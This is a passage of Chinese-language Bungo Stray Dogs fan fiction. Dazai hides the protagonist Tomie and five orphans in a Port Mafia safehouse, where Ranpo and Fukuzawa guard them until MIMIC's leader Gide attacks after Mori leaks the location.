对方站在一片昏暗的客厅中，依靠着稀薄的光芒，宫水富江注意到了对方因为低着头而看不清神色的身影。 他就这样站在那里，不仅没有任何动作，就连一丝声音都没有发出。 ——就像死后僵直、被人故意这样摆放的尸体。 宫水富江的脑海里突然冒出这个想法，可很快，他摇了摇头将这个莫名其妙的想法甩掉。 这可是太宰先生，他怎么能这么想。 宫水富江站起身，慢慢地走近太宰先生，看着并没有任何动作的太宰先生。 原本丢掉的想法再次出现，且在这种环境中将对方的身影和氛围塑造得愈发恐怖起来。 他缓缓抬起一只手，朝着对方伸去并小心翼翼地开口，“……太宰先生？” 然而对方并没有任何动作，就在宫水富江的手即将接触到对方的脸庞时，面前的男人倏地抓住了他的手腕。 冰凉的触感从宫水富江的皮肤上传达到他的脑中，但此刻他脑海里只有一个想法—— 他觉得自己现在是不害怕活着的人类了，但他感觉自己特别怕死掉的尸体，更准确地说是鬼。 话说，这个番剧既然都有异能力了，不会真的连鬼这种灵异元素也有吧？ 以及，他的富江体质对鬼能起效果吗…… 宫水富江这一瞬间，脑海中闪过无数想法，但最后只停留在‘富江体质对鬼有没有作用’这个问题上。 就在他大脑不断思考、身体却僵硬的时刻，熟悉而又沙哑的声音终于响起，他听到面前的太宰先生开口喊了他的名字。 “富江。” 第43章 横滨的沿海地带, 一栋蓝色二层建筑物竖立在这里，大约经历过太长时间风雨的洗刷，蓝色的墙壁已经变得黯淡破败。在它的周围装修着一个停车场, 虽然算不上大，但停上十几辆车还是绰绰有余。 而在不远处, 一道黑色人影携带着另一个穿着极具遮掩性服装的白色人影正慢慢往这里走。 连帽衣的帽子太长，宫水富江只能在视线被阻碍的情况下垂下眼眸, 注视着在他前面只有几步之遥的黑色西装裤腿。 太宰先生并不是什么模特出身，走起来却莫名好看，特别是穿着皮鞋，与地面接触发出的声音, 也分外地具有节奏感。 尽管帽檐有点碍事，但宫水富江还是小心翼翼地抬起自己的头。随着视线上移，他能看到的属于太宰先生的背影越多。 大腿、腰腹、肩胛骨…… 就在宫水富江即将看到太宰先生那宛如棉花糖般蓬松的黑发时, 对方的声音突然响起。 “到了。” 随着这简短的一句话，宫水富江顺着对方指示看向了矗立在他们面前的那栋略显破旧的两层大楼。 上面还写了个招牌——进口相关事务所。 不等宫水富江仔细观察完, 太宰先生便再次走动, 打开了这栋大楼的房门。 里面漆黑一片，也十分安静, 似乎除了他们没有任何人影。 很快，电灯被打开, 光线瞬间照亮了这里。 他们出现在的地方是类似于会客室的地方, 除了必要的办公物品和招待客人的长椅沙发, 没有看到什么多余的家具。 “这里是港口Mafia名下用来处理走私的事务所。”太宰先生开口。 宫水富江看向太宰先生的侧脸有些不知所措。说实话，从太宰先生突然出现在公寓客厅的时候，他就已经开始不知所措了。 本来想和对方说点什么，结果话还没有说出口, 对方先二话不说带他来到这里，直到现在，他都不知道发生了什么。 见对方这么说，宫水富江再也忍不住，“那个，太宰先生……” 大概是许久未见，他也有些开始不知道该用什么态度与对方见面，以至于开口说话的方式与刚开始与对方交谈时候变得相似。 可听到他的声音，对方虽然顿了顿，却并没有转过头来。 这令宫水富江有点失望，但该说的话语他还是要说，“太宰先生直接带我过来，是有什么原因吗？” 他睡的时间其实并没有想象中那么长，之所以当时客厅会变得昏暗，好像是因为太宰先生见他在睡觉便拉上了窗帘。 实际上，现在还是下午三点左右，距离太阳落下还有两个多小时。 “还记得上次你被绑架的事情吗？” 太宰先生倏地开口提起了个奇怪的话题。 宫水富江自然不会忘记这件事情，“当然……” 随着肯定的话语落下，宫水富江结合对方带他来到这个地方产生了一种猜测。 他双眸微怔，“难道说——” “我最近处理的任务很棘手，敌人远比我想象的要更难解决。”仿佛是为了印证他的想法，太宰先生顺着他的话语进行了解释，“鉴于这次敌人与上次敌人在一定程度上存在着相似度，为了以防万一，我将你们带到这里进行躲藏。” “原来是这样……”宫水富江回答，但很快，他发现了太宰先生口中的重点，“我们？” 他发现太宰先生在他话语落下后，很快看向了一楼通往二楼的楼梯口，“除了你以外，这里还有和我同样参与任务的朋友织田作收养的五个孤儿。” “不过我已经提前安排他们进入了二楼，让他们不要出来到一楼。” 二楼似乎也发现了一楼的异状，很快传来了一阵窸窸窣窣的声响。 不过那声动静很快在二楼楼梯口消失，随之出现的是一个男孩子的声音。 “我还以为是敌人过来了，没想到是你啊，太宰！” “幸介，带着另外几个孩子回屋。没有别的事情不要随意出来走动。”太宰先生并未搭理对方的话语，而是认真强调了该说的事情。 “我当然知道！”被称为幸介的男生大声回答，“话说，织田作呢？他没有回来看我们吗？” “织田作他还在工作中，没有那么快回来呢。让我想想……”太宰先生顿了一下很快回答，“不出预料的话，明天早上等你们醒来应该就能看到织田作了吧。” “什么嘛，居然还要那么久……” 宫水富江听到了幸介的抱怨，可没多久对方又继续道，“不过居然能够和太宰你一起工作的话，是不是说明这次的任务非常难？难道说，这次任务之后，织田作就可以升职加薪吗？” “是是是，就算不能，我也可以推荐织田作升职加薪，你满意了吧？” 太宰先生的话语多半是无奈敷衍的语气，可显然那个男生并未在意，而是一股脑地沉浸在了织田作会升职加薪的未来里，甚至激动地大喊，“太棒了！织田作终于要往上走了！成为干部也指日可待了！” 织田作……太宰先生的朋友吗？就是他想象中的那个吗？ 只是好像，与他想象的似乎有哪里不太一样…… 宫水富江微微歪了歪头，陷入了困惑。 可他的举动似乎引来了上面几人的注意，除了幸介之外，又多出了另外一个男生的声音。 “幸介，你快看……那个站在太宰旁边的人……” “真的诶，刚刚还没有在意……是太宰别的朋友吗？那大概也是个奇怪的家伙吧？”幸介的声音回答。 被提到的宫水富江下意识想要抬起头，可是一旁的太宰先生似乎预料到了他的动作，直接伸出手扶在他的头顶，制止了他的动作。 “我好像听见咲乐在哭，你们两个确定不去看一下吗？” 随着太宰先生的话语落下，宫水富江听到了那两个孩子急急忙忙离开的声音。 也就是说，接下来的时间，他可能需要与这五个孩子住在一起直至明天早上……是这个意思吗？ 宫水富江结合太宰先生之前所说的话语总结归纳，可没多久他想到了一个很严重的问题，于是在对方的目光中举起了自己的右手。 …… 太宰治打断了幸介的好奇心，并三言两语让对方返回屋内。 随后低头侧视，看向身旁因为长帽遮脸而看不清楚侧颜的黑发少年。 对方举起了手，似乎有什么要说。 “……怎么了吗？”顿了顿，太宰治还没有选择无视对方的举动。 他其实有点担心，担心对方在这个时候询问他为什么那个时候逃离。 可并不是，黑发少年只是询问了他一个简单的问题。 “太宰先生，难道说这里只有我们几个吗？”黑发少年的声音充满了疑惑，似乎对于他的安排充满了不解。 太宰治抿了抿嘴，心中充斥着复杂的情绪。 不知道自己该庆幸对方没问，还是该失落对方没问。 可很快，他调整好了自己的状态反问，“什么意思？” “我就是想说，”黑发少年回答，“如果遇到危险的话，只有我们几人岂不是很难进行反抗？” 太宰治早就想过这个问题，“你说得有一定道理，只不过完全没有必要担心。” “相较于大张旗鼓的随意调动港口Mafia的人来保护你们，这样不动声色地将你们全部藏在安全屋才更不容易暴露。” 没错。 随意调动人员，才会引起敌人的注意，所以最好的办法就是按兵不动。更重要的是…… “因为之前组织内还出现过卧底，所以除了首领外，这块地方目前还没有任何知道藏着你们。” 黑发少年没有说话，只是低垂着头似乎在思考什么。 太宰治以为对方理解了，正打算这样告别去港口Mafia医疗部查看织田作之助的情况，就发现对方再次出声。 黑发少年询问，“只要不是港口Mafia的人就可以了吗？” “什么？”太宰治愣神，没有理解对方话语中的意思。 黑发少年可能以为他没有听清话语，于是重复，“我的意思是，如果来保护我们的人不是港口Mafia的成员就可以了吗？可以是别人，比如……” 对方说着，伸出双手拎着长帽两边往后翻去，并同时抬眸用那双许久未曾见过的黑眸看向他，继续道： “——[武装侦探社]的成员……之类的？” * 横滨，沿海地区。 一名穿着侦探服的青年与穿着和服的中年男人行走到这里。 看着周围萧瑟的环境和偏远的地区，福泽谕吉终于忍不住停下脚步，询问要来到这里的江户川乱步，“……乱步，你来这里究竟是有什么事情？” 侦探服青年同时停下，他神色纠结，最终开口，“还人情啦还人情！” “就是之前在公园的时候，社长遇到的那个家伙啦，我欠了他人情，现在他遇到麻烦，所以来找我帮忙了！” “……”福泽谕吉看向江户川乱步，“所以，这和我有什么关系？如果只是带路的话，其余社员应该也可以帮忙吧？但你还特意让我推了一个委托……” “当然是因为这个人情必须有社长才行！”侦探服青年毫不客气地回答，惹得福泽谕吉一瞬间思考欠人情的究竟是谁。 就在他准备告知江户川乱步，人情应该自己偿还的时候，侦探服青年突然看向不远处开口，“找到了！就是那里，社长！” 福泽谕吉顺着对方的话语看去，那里正是江户川乱步告知他的地点中那栋蓝色的两层楼房。 看着已经快步走了过去的侦探服青年，福泽谕吉叹了一口气，充满着带孩子的疲惫感。 然而等他们出现在门口的时候，江户川乱步却制止了他站在前方敲门的打算，主动上前敲门。 福泽谕吉好奇地看向将他阻拦在身后的侦探服青年，从他的视角来看，对方的神色此刻颇为严峻，又或者说是紧张。总之，像是在做什么准备。 说起来，好像每次看到乱步露出这种神色，都是因为那个少年来着？ 福泽谕吉走神地想到，同时脑海里浮现出了前两天所看到的乱步面色不善的啃咬指甲的神情。 “吱呀。” 门打开的声音打断了福泽谕吉的思绪，他下意识警惕起来，身体做好被袭击的准备，可出乎预料地出现在他面前的是一名穿着黑色西装、浑身上下捆绑着大量绷带的黑发青年，看起来像是受到了某种严重的伤。 可福泽谕吉的鼻尖并未嗅到什么血腥味，也就是说，面前的黑发青年这一身包扎并不完全是伤口？ 就在他思考着的时候，站在他面前的江户川乱步像是遇到了同类而炸毛的猫，语气不善地开口： “就是你吧！” “他的饲养人。” 福泽谕吉：“……？” 什么东西？ 第44章 在听到[武装侦探社]的时候, 太宰治的脑海里浮现了很多问题。 比如—— 为什么你会认识[武装侦探社]的成员？ 你是什么时候与他们认识的？ ………… 情感上他很想拒绝宫水富江的提议，可是在看到对方那双充满着期待的黑眸后，太宰治想要拒绝的话语又说不出口。 将对方和织田作收养的五个孩子藏在这里, 本身就是为了他们的安全考虑。不调动港口Mafia的成员过来进行保护本意也是如此，可实际上太宰治内心清楚地明白——纵使这样也无法排除[MIMIC]的成员会找到这里的可能性。 因此, 他无法拒绝宫水富江的提议。 于是，他不得不同意对方的话语, 注视着对方给[武装侦探社]的成员打电话。 紧接着房门被敲响，他等到了他们的出现—— “就是你吧？他的饲养人。” 面对身穿侦探服青年的话语，太宰治不可思议地立即明白了对方的意思。 [武装侦探社]，据他所知是横滨内为数不多获得了异能许可证的异能组织, 同时也是横滨内能与港口Mafia势力相提并论的组织。 与港口Mafia这种掌控夜晚的组织不同，[武装侦探社]的业务方向相较于白天，更像夹在黑白之间的逢魔之时——黄昏时段。除了接受来自普通市民的委托外, 他们还专门接受那些不能交给军队和警察的危险工作。 因此，太宰治也听说过这个组织的存在。 组织的建立者福泽谕吉绰号为[银狼], 曾服务政府工作, 后不知缘由地离职。随后没多久遇到了据说能‘一眼看穿真相’的名侦探，两人一起建立了[武装侦探社]。 现在看来…… 太宰治那只唯一没有被绷带缠绕起来的眼眸深如潭水般盯着出现在他面前的身穿伦敦侦探服的绿眸青年, 相互对视。 他相信宫水富江不会随意和别人说他的事情，这也就意味着, 这位侦探大概是通过宫水富江的只言片语或者其他痕迹看出了他的信息。 果然, 能够两年前全国侦探比赛获得优胜的侦探果然名不虚传……吗？只是—— 太宰治眼眸微眯。 …… 江户川乱步本来已经感受到来自面前这个港口Mafia的敌意了, 却没有想到对方在直勾勾地盯着他几秒后露出了一个笑容，并开口： “你就是富江口中所说的那个侦探吧？” 语气亲昵，口吻熟稔，同时里面夹杂了令人作呕的黏腻感, 听得令江户川乱步一瞬间想把自己的耳朵摘下来洗一洗。 可是更令他感觉到恶心的并非是对方的话语，而是面前这个人所展露的微笑。 几乎是看到那个笑容的瞬间，江户川乱步感觉自己的汗毛竖起，背后开始发凉，感觉自己整个人都毛毛的。 别人或许看不出来，但江户川乱步却从对方那张笑脸上看到了令他厌恶的家伙的影子。 看似真心实意，实则惺惺作态。 看似和蔼可亲，实则冰冷无情…… 上一次看到这个表情，还是从那个人手里抢回与谢野晶子的时候。 没错，这个笑容与森鸥外那个恶心的家伙简直一模一样！ 江户川乱步眉头逐渐蹙紧，他冷声询问，“你应该不仅仅是森鸥外那个家伙的部下吧？” 黑发青年神色不变，像是没有听到他说了什么一样。 可江户川乱步并未因此而对自己的推理产生犹豫，相反，他的脑海里现在闪现了无数种可能，最终他将两人的关系定位—— “你是森鸥外的弟子。”江户川乱步肯定地回答。 站在旁边的福泽谕吉被这发展打得措手不及，整个人直愣愣地站在了原地。 一瞬间不知道该震惊面前的人是敌对组织港口Mafia的成员，还是该震惊对方是森鸥外那个家伙的弟子。 太宰治表面并未动摇，内心却被江户川乱步的能力诧异到了。 虽然有所听闻对方能瞬间看穿真相，但是这种事情发生在他身上的时候，他确实有些措手不及。 这个人比他想象的还要难搞。 太宰治暗想。 “什么意思？”太宰治面不改色地反问，看不出任何毛病。 江户川乱步却哼了一声，“别以为用这种表演就可以骗过我了，再怎么说我也是名侦探，这种小把戏对我来说没有用的。而且……” 福泽谕吉本来听得好好地，只见江户川乱步话锋一转，对着他开口道，“社长，捂上耳朵。” 见状，福泽谕吉轻蹙眉头。 虽然不清楚发生了什么，但他还是听从江户川乱步的话语将自己的耳朵捂住。 旁边的太宰治对于江户川乱步突然转变的话语微微挑眉，紧接着一道熟悉的嗓音出现在他们之中。 “……为什么大家一直聚集在门口？不用进来说话的吗？” 福泽谕吉发现江户川乱步和那名黑发青年的目光同时朝着门内看去，于是他也看了过去，只见是一位全身被遮掩的严严实实、身形熟悉的少年出现在门口内侧。 长帽遮掩有些看不清楚面容，但通过对方的肢体动作，好像是在困惑他们为什么站在外面说话。 随后不知道他们具体说了什么，黑发青年率先带着那个少年走进了门内。 紧接着福泽谕吉看到江户川乱步指了指他的耳朵，示意他可以放下。 “社长，等一下你直接上二楼。听他们说，二楼也有我们这次需要保护的对象。等一下我喊你下来，社长你再下来吧。”侦探服青年回答，又继续道，“到时候我会把这次要做的内容直接告诉社长的。” 福泽谕吉微顿，随后同意了江户川乱步的话语。 听起来似乎有什么隐情，但他明白了这次他过来的主要任务是保护他人这个关键的信息。 进入屋内他并未迟疑，而是径直在他们的目光中走上了二楼。 直至踏上最后一层台阶，福泽谕吉感受到了某种怪异的安静。 他神色不动，即便穿着木屐也没有发出任何声音。 随后他停留在了一道房门前，因为听觉敏锐的他注意到了这间屋内明显存在着五道频率不同的呼吸声。 福泽谕吉轻轻推开房门，然而出现在眼前的是漆黑一片。 他面不改色地走了进去，紧接着下一瞬间，那几道呼吸声开始急促，脚步声也随之响起。 …… 那位穿着和服的中年男人上了二楼没多久，天花板便发出了一阵响声，但没半分钟，那阵动静又很快消失。 “……看来那位[武装侦探社]的社长，实力确实不同凡响。” 江户川乱步盯着说出这样话语的黑发青年，语气不善地回答，“当然了！和你身后的那个人相比，社长才更加厉害！我到现在还没有遇到能打败社长的家伙呢！” 太宰治被回怼也没有任何不高兴，相反，他简单地笑了笑，又摊了摊肩膀，“我本来以为[武装侦探社]的人在知道与港口Mafia有关后，会直接拒绝呢，没有想到居然接受了。” 江户川乱步轻蹙眉头，“我接受委托又不是因为你，而是因为富江好吗？我们之间并没有任何委托关系，我所接受的内容也只是保护他们，至于你……” “——可并不在我的委托范围之内。”他相当明确地划分界限。 太宰治被这样对待并没有任何不愉快，倒不如说这样来看才是他们之间正确的相处方式。 但是…… 太宰治看了看窗外的天空，随着时间的消逝，原本高高挂起的太阳俨然已经有了下山的趋势。 可接下来的时间他还有很多事情要做，不仅要指挥部下阻挡今天[MIMIC]对商贩的袭击，还要去港口Mafia名下的医院查看友人织田作的情况。 想到这里，他的眼眸泛黑，侧头看向身穿侦探服的青年，“这位名侦探先生，现在我们还是来聊聊接下来的事情吧。” “比如，你们需要在这里待多久。” * 宫水富江其实在发现两人似乎很对不来的时候，就已经开始担忧了。 但没有想到，虽然并不是很对得来，但好像在处理重要事情上意见相当统一。 就是—— 宫水富江听着两人精简意骇的对话，两眼茫然的歪了歪头。 这真不能怪他，他确实没听懂两个人在讨论什么。 两个人像是在玩五个字以内的快问快答，还没等他想明白这是什么意思的时候，他们两个人已经进行了一轮问答，甚至互换位置准备再来一轮了。 于是当他晕头转向，甩甩脑子里的浆糊回神时，看到的便是双方达成了统一合作的画面。 然而，好像还是哪里有点奇怪？ 宫水富江注视着面前这一幕想。 侦探服青年坐在带着滚轮的单人座椅上，自然地像是坐在自己家中对着他面前不远处站着的黑发青年摆了摆手，“我知道了我知道了，他们会由我和社长来保护的！如果没有别的事情了，你就可以继续处理你的事情了。” “再见不送！” 黑发青年却只是轻松地笑了笑，“你好像弄错了什么，名侦探先生。应该由我这么说——” “接下来还请麻烦您帮我保护那五个孩子和富江……这样才对。” 宫水富江不明所以，所以乱步先生所说的话语和太宰先生所说的话语有什么不一样吗？ 不都是在表明来保护那五个孩子和他吗？ 不同于茫然的黑发少年，江户川乱步太清楚对面这个黑发青年的言外之意。 对方哪里是在重复相同意思的话语？对方分明是在宣示主权！ ——无论是那五个孩子，还是富江，都是他这边的人。 对方想要表达的是这个意思。 听明白对方话中有话的江户川乱步，不满地哼了一声。 直至对方彻底离开，他才不情不愿地从对方提前准备的冰箱中拿出零食吃了起来。 江户川乱步边拆开包装袋，边瞥了一眼不知道何时跑到窗边的黑发少年，终于忍不住嘟哝了一句。 “真是的，也不知道对方究竟哪里吸引你了……” 宫水富江回头，隐约间似乎听到江户川乱步说了什么，“乱步先生刚刚在讲什么？” 江户川乱步见状，大声回复，“什么都没有！” 可很快，他又恢复正常音量，“不过社长一个人没办法看着二楼那几个孩子的同时还要来保护我们，所以我等一下会让社长带着那几个孩子下来。如果你不喜欢熊孩子的话，可以提前到角落待着。” 宫水富江感谢乱步先生及时的提醒，他确实不太喜欢那种熊孩子。 于是乖乖听话，按照对方所说的找到一个角落自己一个人窝着。 * 夕阳西下，横滨山区的洋房内。 刚结束支援士兵袭击商贩的纪德回忆着自己与芥川龙之介以及织田作之助的战斗。 前者的异能力具有极为强大的破坏力，令他有些赞赏，更不用说他看得出来这个异能力的主人还没有完全开发这个异能力本身。 可实际上，在遇到后者后，纪德的注意力便全部放在了对方的身上。 与他如出一辙的异能力，与他同样强大的枪斗术…… 这无一不在说明一件事——对方就是他所要寻找的、给予他们救赎的存在，而非那个实在亵渎他们死亡意义的黑发少年。 但是、但是—— “无法理喻。仅仅只是因为觉得想要成为小说家，所以拒绝我们之间的战斗……” 纪德站在原地无法遏制自己的心情，他实在不能理解对方的想法。 但很快，他调整好了自己的情绪——因为通过那个红发青年的话语，他同样明白了怎么让对方同意战斗。 他想，对方之所以会拒绝，是因为他们之间存在着本质上的不同。 他们是[MIMIC]，是一群被国家抛弃的军人，同样也是一群……被操控肉体前进、但早就该死亡的[灰色幽灵]。 可红发青年不一样，对方有梦想，有活着的实感，对方并不像他们是行尸走肉。 因此，想要对方同意战斗的方法意外的简单。 ——让对方同样变成[幽灵]就可以了。 而做到这一点…… “司令长。” 副司令的声音响起，纪德回头看向对方，只见对方将笔记本电脑的屏幕对准他，并开口，“我找到了您口中那个人的信息。对方名为织田作之助，是港口Mafia的底层人员，不仅如此，还发现对方收养了五个孤儿。” “位置呢？”纪德直接询问。 虽然没有说明主语是谁，但副司令却莫名知道了对方指得是谁。 “在横滨沿海地区的一栋两层蓝色大楼内，不仅如此，我还发现一件事情……”副司令顿了顿，随后继续回答，“那个少年……宫水富江似乎也与那五个孤儿躲藏在一起。” 话音刚落，在副司令的眼中，他发现司令长勾起了嘴角。在微弱的月光下，司令长那原本暗红色的眼眸此刻格外地发亮，引得令人移不开眼。 紧接着，他听到了司令长带着笑意讲着令人背后发凉的话语。 对方说： “那真是太好了。” “没有比同时能解决两个目标更加省时省力的事情了。” ** 夜晚，港口Mafia总部大厦，首领办公室。 竖着背头的中年男人来到落地窗前，欣赏着眼前横滨的夜景。 “听说太宰君的友人已经醒了？” 倏地，在这一片安静的办公室内，他突然开口，像是在询问什么人。 “已经醒了，你也看到报告了吧，林太郎？”一名金发碧眼的少女坐在沙发旁，边用画笔不断在纸张上绘画着什么，边回答着中年男人的问题。 “唔……”中年男人发出声音，随后继续凝视着夜景开口，“既然如此，想必[MIMIC]的首领纪德也遇到织田作之助了吧？” “想必在遇到织田作之助的时候，纪德也很震惊吧。这么大的世界，居然能遇到一个和他拥有相同异能力效果，且擅长枪斗术的存在……” “命运让他们相遇——”他侧头看向自己的人形异能体继续道，“他当时应该会这么想。” “可惜，安排这个命运的却是作为港口Mafia首领的你所计划好的。”然而金发碧眼的少女却接上了话，“真是令人恶心的恶趣味呢，林太郎。” 听到这种话语，中年男人、又或者说森鸥外本人并不恼怒。 他只是笑了笑，露出了一个微笑。 “毕竟太宰君作为钻石实在是太耀眼了，耀眼到了将作为首领的我都要比了下去。”森鸥外侧头看向窗外的明月，“更不用说，太宰君的手里从始至终都握着我的把柄。” “说到底，林太郎你只是害怕了吧？所以才会将太宰告诉你的地点毫不留情地泄露出去。” “没有一点犹豫的那种。”她补充道。 少女的话语刻薄而毒辣，引得中年男人发出了委屈的声音。 “爱丽丝酱说起话来还是一如既往的恶毒呢！但是没关系，你长得那么可爱，无论说出多么恶毒的话语我都不会生气！” “哼。”少女没有理睬中年男人的彩虹屁，而是继续绘画着自己的作品。 森鸥外看自己讨不了好也没有多说什么，而是放下了那副惺惺作态的模样，漫步走到了角落那个古老而又精致的留声机那里。 他将唱片摆放在转台上，熟练地将唱针按下。紧接着，悠扬古典的歌曲在这偌大的办公室内响起。 森鸥外并不着急，只是慢慢走到办公室空旷的中央。然后，闭眼，抬起双手，仿佛抱着一个体型比他纤细的人。 随着音乐的下一个节拍响起，他开始迈动脚步。 周边泛着红色光圈的明月透过落地窗照射进办公室内，如同巨大的眼睛注视着房屋内中年男人与空气跳舞。 他不停地旋转，身体同时随之倾斜或是摆荡，舞步起伏连绵。在这只剩古典音乐的氛围中，这种诡异的单人舞姿显得愈发瘆人诡异。 直至唱针自动抬起，音乐结束。 中年男人才停下脚步，维持着结束的动作不变。 随后他猛地睁开眼睛，那双紫红色的眼眸与明月对视，在微微发光的同时开口： “——好戏要开始了。” 与此同时，金发碧眼的少女也停下了手中的绘画。 她举起这张纸，展开在半空中。 出现在眼前的是一个黑漆漆的左眼眼尾处带着泪痣的少年与五个体型更小的孩童，他们手拉着手看起来感情很好。 只不过，涂抹在他们身上的并不是什么可爱的爱心装饰，而是宛如鲜血般切割着他们身体的红色线条。 像是在诉说着，接下来他们即将面临的遭遇。 第45章 深夜, 港口Mafia名义下进口许可相关事务所。 这里是一栋蓝色两层的大楼，一层是接待客户和办公场所，二楼则是各种会议室或者休息室。 如果只是为了躲藏, 毋庸置疑对于宫水富江和那五个孩子而言现在最好的方法是待在二楼关灯休息，当作这里没有任何人存在。 但现在多了[武装侦探社]的社长和侦探, 一切发生了改变。 福泽谕吉倚墙而站，一只手警惕地握着刀鞘闭眸休息。 但通过他敏锐的听觉, 他能感知到现场七道绵长的呼吸声。 是的，七道。 因为江户川乱步此刻也在睡眠中。 明明对方才是那个该认真完成委托偿还人情的人才对…… 想到这里，福泽谕吉已经生不出多大的怨念，更多只是一种无奈。 因为他自己明白, 在保护委托人这种任务中，在场的所有人里只有他一个能真正做到，其他人都只是手无缚鸡之力的一般人。 也就是说, 与其说是他和江户川乱步来保护那五个孩子和黑发少年，不如说是他一个人在保护五个孩子和两个半大青年。 福泽谕吉睁开眼, 在一楼灯光的照射下, 他能清晰地看到躺在沙发上、睡姿歪歪扭扭的五个孩子，趴在桌子上睡觉的黑发少年和江户川乱步躺坐在沙发椅上睡觉的画面。 “唔唔……织田作, 看招……” 那五个孩子中其中年纪最大的那个迷迷糊糊地说着梦话，然后翻了个身。 听着对方的话语, 福泽谕吉无声地叹了口气。 他对这个孩子记忆深刻, 在刚到这里上二楼查看这五个孩子具体情况的时候, 他发现这个孩子居然组织其余四个孩子在屋内设置了陷阱。 通过那五个孩子合作的熟练程度，福泽谕吉看得出来对方应该不是第一次做这种事情。 只可惜，对方所作所为在他看来过于儿戏，别说对敌人进行阻碍了, 恐怕某种意义上更像是主动将自己送到敌人怀里。 勇气可嘉，但同样的，过于有勇无谋了。 这是福泽谕吉对他们的评价。 他的视线慢慢移动，随后转动到那趴在桌面上睡觉的黑发少年，即使在这样的情况，对方依然没有摘下那宽大到了遮盖全部容貌的帽子。 实际上，和那个五个孩子相比，他对这个黑发少年更加陌生。 福泽谕吉看得出来江户川乱步对这个少年的在意和特殊，因此对这个少年更加好奇。 只不过每次江户川乱步都会刻意让他回避与少年对视或者说话的可能性，尽管不明白具体缘由，但他依然还是相信江户川乱步的行为。 思索到这里，福泽谕吉不再过多打量，而是侧头看向窗户外的夜空。 泛着淡淡红光的明月不再高高挂在最上方，反而完全出现在窗户的范围内，使得他能完全看到月亮的整体形状。 周围除了安静而绵长的呼吸声外，没有其他更多的杂音。 就在福泽谕吉准备移开视线的时候，他神经瞬间紧绷，因为他听到了一声简单的“咔嗒”声。 通过自身丰富的经验，福泽谕吉瞬间判断出来这是扣动扳机的声音。 意识到这点，他立即摆好姿态，做出御敌准备。那双眼眸也锐利起来，配合那银白色的头发，如同银狼般蓄势待发。 经验结合本能，福泽谕吉几乎是目不转睛地盯着窗户的位置。 在这一楼的客厅，除了正门、窗户和楼梯口，其余地方都是厚实的墙壁。 而不巧的是，再将孩子们转移到一楼集中保护后，二楼的所有窗口都被高大的家具所阻挡，想要从那里不动声色地进来几乎是不可能的事情。 至于正门则是毫无动静，用子弹射穿大门，完全是费力不讨好的事情。 因此，唯一能想到的地方只有—— “砰砰砰。” 子弹的声音连续响起。 在福泽谕吉的视野中，三颗子弹以肉眼难以区分先后的速度将窗户击碎，同时朝着不同的方向驶去。 他的视线快速移动，分辨看向了子弹对准的目标——两个孩子和黑发少年。 福泽谕吉心中意识到了不妙，并同时对这个枪法感到了熟悉。 想要同时在这三颗子弹下保护那三个人可以说是相当希望渺茫的事情，但并非没有可能！ 想到这里，福泽谕吉双脚立即蹬地，快速冲到窗户前，利用强大的拔刀术将那三颗子弹同时切成两边，强行修改飞行方向。 子弹全部打歪，射中了旁边的墙壁或者地板。 巨大的响声将屋内原本寂静的氛围打破，所有陷入睡眠中的人在这一刻全部苏醒。 “什么情况……” “我好像听到了枪声？” 五个孩子中最大的两个被惊醒，慌乱地看着四周。紧接着其余三个后知后觉醒来，在意识到发生什么后立即朝着另外两个大孩子身边聚集。 宫水富江也被惊醒，他猛地从桌面上抬起头来，环顾四周，马上发现屋内堪称混乱的场景。 同时，他也注意到了[武装侦探社]社长警惕地站在窗前的举动。 就在这个时候，窗前唰一黑，仿佛夜空被黑幕笼罩。 可是很快，宫水富江反应过来，并不是天空突然变黑，而是一道人影出现在了蹲站在了窗沿上。 对方穿着深色长袍、长帽遮脸，在跳跃到窗沿时，身后长长的衣袍如同蝴蝶的翅膀飞舞起来遮掩住了整个窗户，以至于刚刚宫水富江误以为天空突然变黑。 “没有想到……居然在这里还能看见你。” 对方如此对着窗户前站着的和服男人开口，言语之间仿佛两人是熟人。 宫水富江定眼看去，这才发现这次出现在他们面前的人影，居然是上次遇到的那个人。 福泽谕吉自然也发现了这一点，面对长袍男人的话语，他面不改色地回答，“是吗？但是我早就有所预料。” 他早就从江户川乱步听说了相关的事情，虽说港口Mafia与[MIMIC]之间的事情与他无关，但对方如果对他的保护目标下手那就另当别论了。 听着和服男人的话语，纪德的神情微微凝重了点。 虽然想过或许有人会保护这些人，但纪德从未想过刚好是这个棘手的男人。 不过转念间，纪德便想好了对策。 他直接拿出手枪，对准面前的男人扣动扳机。 看着近在咫尺的子弹，福泽谕吉反而更加轻松。 子弹的速度固然很快，但在这个距离下，他的速度更快。而且他判断过，即使躲避过去，身后的几人也不会受到伤害。 这样想着，福泽谕吉的身体做出了相应的举动。 他躲避了这颗子弹，随后快速靠近面前这个长袍男人。本想借着这个机会通过近距离的武术将对方擒拿住控制行动，但对方就和之前对战时一样，仿佛知晓了他的动作，在他躲避子弹的瞬间，下压身躯朝着他身后的方向奔去。 福泽谕吉被这与想象中不符的突发情况诧异到双眸微睁，同时，他的身后响起了江户川乱步的声音。 “快上二楼！那个人要来了！” 福泽谕吉身体灵敏的紧跟着长袍男人转身，发现江户川乱步虽然已经看穿了长袍男人的动作目的，但也只能在这状况下急忙让那几个人冲往二楼进行躲避。 难搞的敌人。 福泽谕吉注视着快他一步的长袍男人想到。 宫水富江自然听到了江户川乱步的指示，但是比起自己率先冲上二楼，他肯定得先等那五个孩子上去。 看着那两个年龄稍大的孩子带着其余三个年龄略小的孩子慌张上楼的模样，宫水富江心中也不由得替他们着急起来。 然而即使他们使用了最快的速度，可长袍男人已经赶了过来。 看着对方举起来对准自己的枪支，宫水富江双眸下意识睁大。 就在宫水富江以为对方要开枪的时刻，对方却像是知道了什么，猛然将枪口方向对准身后的位置，并开了几枪。 宫水富江不明所以地注视着对方的举动，然而就在这时，一道人影从长袍男人的身后一跃而起挡在他与江户川乱步的身前。 “乱步，你们先上去。” 和服男人的话音刚落，长袍男人再次行动起来。 两人之间打斗的动作相当迅速，至少从宫水富江的角度只能看到他们不停地接近交战，随后分开，并时不时发出枪声和武士刀快速挥动的声音。 紧接着手腕处传来被牵扯的感觉，他顺着力道看去，是江户川乱步神色严峻地带着他朝二楼走去。 对方开口，“现在这个时候留在这里，对社长来说反而才是麻烦。” 宫水富江理解对方话语中的意思，于是没有继续过多关注战况，而是转身和江户川乱步一起离开。 只是在走上楼梯的时候，他似乎还听到乱步先生口中还嘀嘀咕咕地说着什么。 “早知道的话，就让与谢野也一起来了……”但很快又极为不满地自我反驳，“算了，她也不喜欢港口Mafia……” …… 直至最后两个人消失在一楼楼梯口，福泽谕吉才算松了口气。 